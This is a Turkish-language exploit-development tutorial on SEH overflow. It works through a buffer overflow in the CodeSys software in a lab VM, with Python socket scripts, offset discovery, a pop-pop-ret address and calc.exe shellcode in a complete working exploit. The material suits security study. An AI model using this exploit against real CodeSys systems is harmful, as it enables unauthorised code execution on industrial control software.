Merhabalar, başlıktan anlaşılacağı üzere SEH(Structured Exception Handler) overflow hakkında bir yazı olacak, öncelikle SEH nedir, ne değildir sorularına cevap olacak klasik bir giriş yapacağım, ardından bu açığın nasıl sömürüleceğini bir örnek üzerinde göstermeye çalışacağım.

SEH nedir ?

SEH, basitçe programınızın içinde bulunan hata işleyicisidir. Program içerisinde gerçekleşen bir istisna devreye SEH‘i alır, ve oluşan hata işlenir. Örneğin programlama dillerinde gördüğünüz try-except, try-catch yapıları da hata işlemek için kullanılır, buradaki SEH de bunu yapar. SEH stackde 8 bytelık exception_registration yapısıyla saklanır.

typedef struct EXCEPTION_REGISTRATION{ 
    _EXCEPTION_REGISTRATION *next; 
    PEXCEPTION_HANDLER *handler; 
} EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;

Her iki eleman da 4 byte değerindedir. Bu yapı her kod bloğu için stackte ayrı olarak saklanır. İlk eleman diğer yapıyı gösteren bir göstericidir. Diğeri ise oluşan hatayı işleyecek olan gerçek exception handlerdır.(SE Handler) Tahmin edebileceğiniz gibi SEH tabanlı taşma zafiyetlerini exploit ederken gönderdiğiniz taşan değer SEH yapısının da üzerine yazar. Siz de SEH üzerine işinizi görecek olan kodu yazdığınızda programın akışını istediğiniz yere çekmiş olursunuz. Örnek olması açısından rastgele seçtiğim bir programın SEH yapısını görelim.

Resimde gördüğünüz d fs:[0] TEB(Thread Environment Block)’i gösterir. İlk elemanı da gördüğünüz üzere ExceptionList‘i tutuyor.

Şimdi, SEH Overflow açığını bir örnekle görelim. Üzerinde exploit yazacağımız yazılım Codesys isimli bir yazılım. Yazılım içinde bu açığın dışında başka açıklarda var, bilgi sızdırma, dosya silme, okuma gibi. Bu makalede yalnızca overflow açığına ve bu açığın kısaca tespit aşamalarına değineceğiz.

Zafiyetin Keşfi

Uzunca anlatmadan önce açığı tetiklemek için gereken kodu göstereyim, ardından o kod üzerinden kısa bir inceleme yapıp sonunda exploiti yazalım.

#!/usr/bin python
# -*- coding:utf-8 -*-

import struct
from socket import *

host = "192.168.20.129"
port = 1211
adres = (host,port)

Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

#Burası tanımlayıcı paketin yapısı
mesaj = "\xDD\xDD"              #Magic Number, paketi doğruluyor.
mesaj += "CDEFGHIJKLMN"         #Junk
mesaj += struct.pack("L", 3004) #Son 4 byte ikinci paketin boyutu (L = long = 4 byte)
Baglanti.send(mesaj)            #Toplam 18 byte

#İkinci paket
boyut = 3004
mesaj2  = struct.pack("L", 4)   #4 Byte, 4. 6. caselerde GBufferedFileSerDev var.
mesaj2 += "A" * (boyut-len(mesaj2))

Baglanti.send(mesaj2)
Baglanti.close()

192.168.20.129 adresli XP sanal makinada çalışan CodeSys programının kendine ait bir paket yapısı var. Bu paket yapısını görebilmek için yapmanız gereken Windbg ve IDA ile kodları incelemek. Kısaca bahsetmem gerekirse program iki adet paket alıyor. Bunlardan ilki paketin doğruluğunu ve diğer paketin boyutunu belirmek için kullanılıyor. Aşağıdaki resimde bu doğrulamaların bir kısmını görüyorsunuz.

loc_4094AA kısmında yapılan cmp ile gelen paketin boyutunun 12h(18) olup olmadığı kontrol ediliyor. Olmadığı taktirde paket işlenmiyor. Bu ilk paketin ilk iki byteı magic value denilen paketi doğrulayan değer, ilk işlemin ardından ilk 4 byte sıfırlanıyor ardından oluşan bu değerin dddd olup olmadığı kontrol ediliyor eğer doğruysa paket işleniyor. Ayrıca gelen ilk paketin son 4 byteı ikinci paketin boyutunu da belirliyor. Şurada görebiliriz bunu:

Aşağıdaki kodda görebileceğiz üzere bu ilk pakete uygun yapıda, 3004 uzunluk değerine sahip bir paket gönderiyoruz. Ardından şu iki satırı görüyorsunuz:

mesaj2  = struct.pack("L", 4)   #4 Byte, 4. 6. caselerde GBufferedFileSerDev var.
mesaj2 += "A" * (boyut-len(mesaj2))

Program paketi doğruladıktan sonra aldığı ikinci paketin içeriğine göre bazı işlemler gerçekleştiriyor. Program IDA ile incelenirse 00405DD6 adresinde bulunan switch yapısı görülebilir.

Bahsettiğim açıkların tümü bu switch caselerde bulunuyor. Örneğin case 4 ve 6’da overflow açıkları mevcut, nedeniyse bu caseler içinde işlenen paketin 0040683C satırındaki GBufferedFileSerDev isimli bir fonksiyon kullanarak bir işlemden geçmesi. Bu fonksiyon çağırıldığı sırada paket içeriği normal boyutlarda değilse bir taşma oluyor. Bu iki caseyi de altta görüyorsunuz.

Case 4:

Case 6:

Yukarıdaki kodu çalıştırdığınızda programın çöküp kapandığını görebilirsiniz. Program çöktüğünde WinDbg çıktısına bakarak açığa asıl sebebiyet veren fonksiyonun GBufferedFileSerDev içerisinde bir yerde çağırılan GUtilStringToGUID olduğunu görebilirsiniz.

Açığın tespiti basit olarak bu şekilde özetlenebilir.

Zafiyetin Sömürülmesi

Şimdi bu zafiyetin SEH kullanarak exploit edilmesini görelim. Öncelikle SEH‘in bizim A değerimiz ile yazılıp yazılmadığını görmemiz gerek. Dilerseniz bu defa programı başka bir debuggerda açın, ardından yukarıdaki kodu çalıştırın. İstisna meydana geldiğinde debugger pause moduna geçecektir. Bu sırada View menüsünden SEH Chain‘e tıklarsanız aşağıdaki gibi bir sonuçla karşılaşmanız gerek.

Görüldüğü üzere SE Handler bizim A değerimiz ile yazılmış durumda. Şimdi mantığımız standart buffer overflow açıklarındaki gibi olacak temelde. Öncelikle SE Handler‘e yazan değerinin offsetini öğrenmemiz gerek. Bunu iki yolla yapabiliriz, öğretici olması için iki yolu da yapalım. Öncelikle klasik metasploit üzerinden 3000 uzunluğa sahip bir pattern oluşturup yukarıdaki kodu şu şekilde düzenleyelim.

boyut = 3004
mesaj2  = struct.pack("L", 4) 
mesaj2 += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0A ---skipped"

Yalnızca mesaj2 değişkenini metasploit ile ürettiğimiz pattern ile değiştirdim. Şimdi kodu tekrar çalıştırıp ardından yine SEH‘in durumuna bakalım.

Görüldüğü üzere SE Handler 32704131 ile yazılmış durumda. Bu değeri metasploitin diğer aracı olan pattern_offset‘e verelim. Bu sayede SE Handler kaçıncı bytedan sonra yazılıyor onu öğrenmiş olacağız.

root@bkali: ruby pattern_offset.rb 32704131
[*] Exact match at offset 455

Bu demektir ki SE Handler 455. offsetde, yani bundan 4 byte geriye gidersek 451. offsette de Next SEH var. Yani biz 451. offsete kadar junk data gönderip ondan sonraki 4 byte ile de SE Handler üzerine yazabiliriz.

Şimdi kısaca teorik bir bilgiye değinelim. Bu bize ne kazandırır ? Şimdi, yapmamız gereken şey yığında bulunan shellcodeumuza atlamak. Biz hem Next SEH, hemde SE Handler üzerine yazabiliyoruz. Bu kodlara geldiğimiz sırada bir istisnanın oluştuğunu da hesaba katarsak, istisna oluştuğunda bizim programımız SE Handler değerine gelecektir. Biz SE Handler’a ne yazmalıyız ki stacke gidip shellcodeumuzu çalıştırabilelim ? Bunu öğrenmeden önce kodumuzu şu şekilde değiştirip istisna meydana geldiğinde durumun ne olduğunu görelim.

boyut = 3004
mesaj2  = struct.pack("L", 4)
mesaj2 += "\x41" * 451      #A -> Junk
mesaj2 += "BBBB"            #B  -> next SEH
mesaj2 += "CCCC"            #C  -> SEH
mesaj2 += "D" * (boyut-len(mesaj2))

Şimdi çalıştırdıktan sonra SEH devreye girene dek g ile devam ediyoruz. SEH devreye girdiğinde EIP 43434343 olacak.

Bakın burda ne varmış. Böö! SE handler C, Next SEH B ile yazılmış durumda. Şimdi kv ile call stacki kontrol ederseniz işimize yarayacak bir ayrıntıyı yakalayacaksınız. 3. değerin bizim Next SEH olduğunu görüyorsunuz.

Yapmamız gereken şey, bizim SE Handler değeri yerine bizi Next SEH kısmına götürecek bir kod yazmak, Next SEH yerine de shellcodeumuza atlayacak bir jump kodu yazmak. İlk adımı yapmak için yapmamız gereken şey pop pop ret şeklinde bir instruction bulmak. Bu sayede stackde bulunan 7c9037bf ve 00aaf2f0 stackden gidecek ve ret ile stackten en baştaki değer yani 00aaff44, yani tekrardan bizim Next SEH kısmına gelmiş olacağız, burada da shellcode atlamak için gerekli olan kod olacağından böylece shellcodeumuza atlamış olacağız. Anlatırken biraz karıştık olsa da açıklayabilmeyi umuyorum şimdi.

Kısaca exploitin çalışması için şu yapıda bir exploit yazmamız lazım:

               -------------------------
               |                       |
               |                       |
[AAAAA....][short jump][pop pop ret][NOPLAR][SHELLCODE][NOP]
              |             |
              |             |
               --------------

Sanırım biraz daha anlaşılabilir olmuştur bu şekilde. Şimdi bu yapıya göre exploitimizi tekrar yazmamız gerekiyor. Öncelikle bir short jump koduna ihtiyacımız var. 06 byte jump‘ın opcodeu eb 06, bunu exploit’e \xeb\x06\x90\x90 şeklinde, iki nop ekleyerek geçiriyoruz. Ardından bize gereken şey pop pop ret, bunun için hafızada arama yapmamız gerek. Bunun için Immunity Debuggerın özelliğinden faydalanacağız. Programı debuggerda açıp, alttaki komut satırına pvefindaddr p -n yazıyoruz. Bir süre bekledikten sonra komut sonuçlanıyor ve debuggerın dizininde ppr isminde bi dosya oluşuyor içinde bizim pop pop ret olarak kullanabileceğimiz adresler mevcut.

Buradaki adreslerden SafeSEH ve ASLR No olan bir adresi seçip bunu SE Handler üzerine yazacağız. Ben bu liste içinden 0x1001309D adresini seçiyorum. Son olarak da shellcodeumuzu yazıp exploiti tamamlayacağız. Exploitin son hali şu şekilde olacak.

boyut = 3004
mesaj2  = struct.pack("L", 4)
mesaj2 += "\x41" * 451
mesaj2 += "\xeb\x06\x90\x90"                    #jmp 06 byte
mesaj2 += struct.pack('<I', 0x1001309D)         #pop pop ret, jump to next seh 
mesaj2 += "\x90" * 24 
mesaj2 += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"    #calc.exe shellcode
mesaj2 += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
mesaj2 += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
mesaj2 += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
mesaj2 += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
mesaj2 += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
mesaj2 += "\x45\x81\x3e\x43\x72\x65\x61\x75"
mesaj2 += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
mesaj2 += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
mesaj2 += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
mesaj2 += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
mesaj2 += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
mesaj2 += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
mesaj2 += "\x53\x53\x53\x53\x52\x53\xff\xd7"
mesaj2 += "D" * (boyut-len(mesaj2))

Şimdi programı Windbgda açıp bp 0x1001309D ile pop pop ret kısmına breakpoint koyup exploiti çalıştralım. Ardından neler olup bittiğini görelim.

Gördüğünüz gibi, exploit işliyor. pop pop ret kısmında durduğumuzda ESP‘ye bakarsak SE Handler‘ın orada olduğunu görüyoruz. Disassembly kısmında iki pop ve ret komutlarını görüyorsunuz. Bu iki pop gerçekleştikten sonra ret komutu stackten 00aaff44‘ü alıp oraya gidiyor. Ardından olanlar şöyle:

Gördüğünüz gibi ret komutu sayesinde program tekrardan 00aaff44‘e gelmiş. Bu adreste bizim JMP 06 byte kodumuz bulunuyor, bunu disassembly kısmında görebilirsiniz. Bu kısımdan sonra g ile programı devam ettirirseniz hesap makinesinin açılacağını görmüş olursunuz. İşleyen kısmı da göstereyim son olarak:

Son olarak bu yaptığımız işlemleri oldukça kısaltan Immunity nimetini de göstermek istiyorum. Exploiti metasploit patterni kullanarak çalıştırdığımız kısımda öncelikle programı debugger ile debug ediyoruz. Ardından kodu çalıştırıp Immunittyde pause moduna geçince alttaki komut satırına !pvefindaddr suggest komutunu giriyoruz. Bir süre sonra durum çubuğunda Done! yazacak, ardından View -> Log kısmına girersek orada yazmamız gereken exploitin nasıl olması gerektiğine dair bilgileri bulabilirsiniz. Ayrıca metasploit patternini de Immunity içinden !pvefindaddr pattern_create uzunluk komutu ile oluşturabilirsiniz. Çıktısı yine debuggerın dizininde olacaktır.

Uzun bir yazı oldu ama faydalı olmasını umuyorum, zaman ayıranlara teşekkürler.